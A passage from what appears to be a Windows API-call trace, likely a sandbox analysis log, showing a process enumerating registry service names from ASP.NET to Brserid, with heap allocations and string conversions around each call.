BaseAddress=0x21f1cd0) returned 1 [0254.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.482] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0254.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0254.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.482] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0254.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0254.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.482] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0254.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0254.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1cd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0254.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.483] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0254.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0254.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.483] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0254.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0254.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.483] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0254.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0254.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0254.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.484] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0254.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0254.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.484] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0254.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0254.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.484] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0254.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0254.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.484] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0254.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0254.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.485] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0254.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0254.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.485] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0254.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0254.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.485] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0254.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0254.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.486] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0254.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0254.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.486] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0254.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0254.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.486] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0254.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0254.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.486] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0254.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0254.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.487] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0254.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0254.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.487] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0254.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0254.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.487] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0254.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0254.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.488] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0254.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 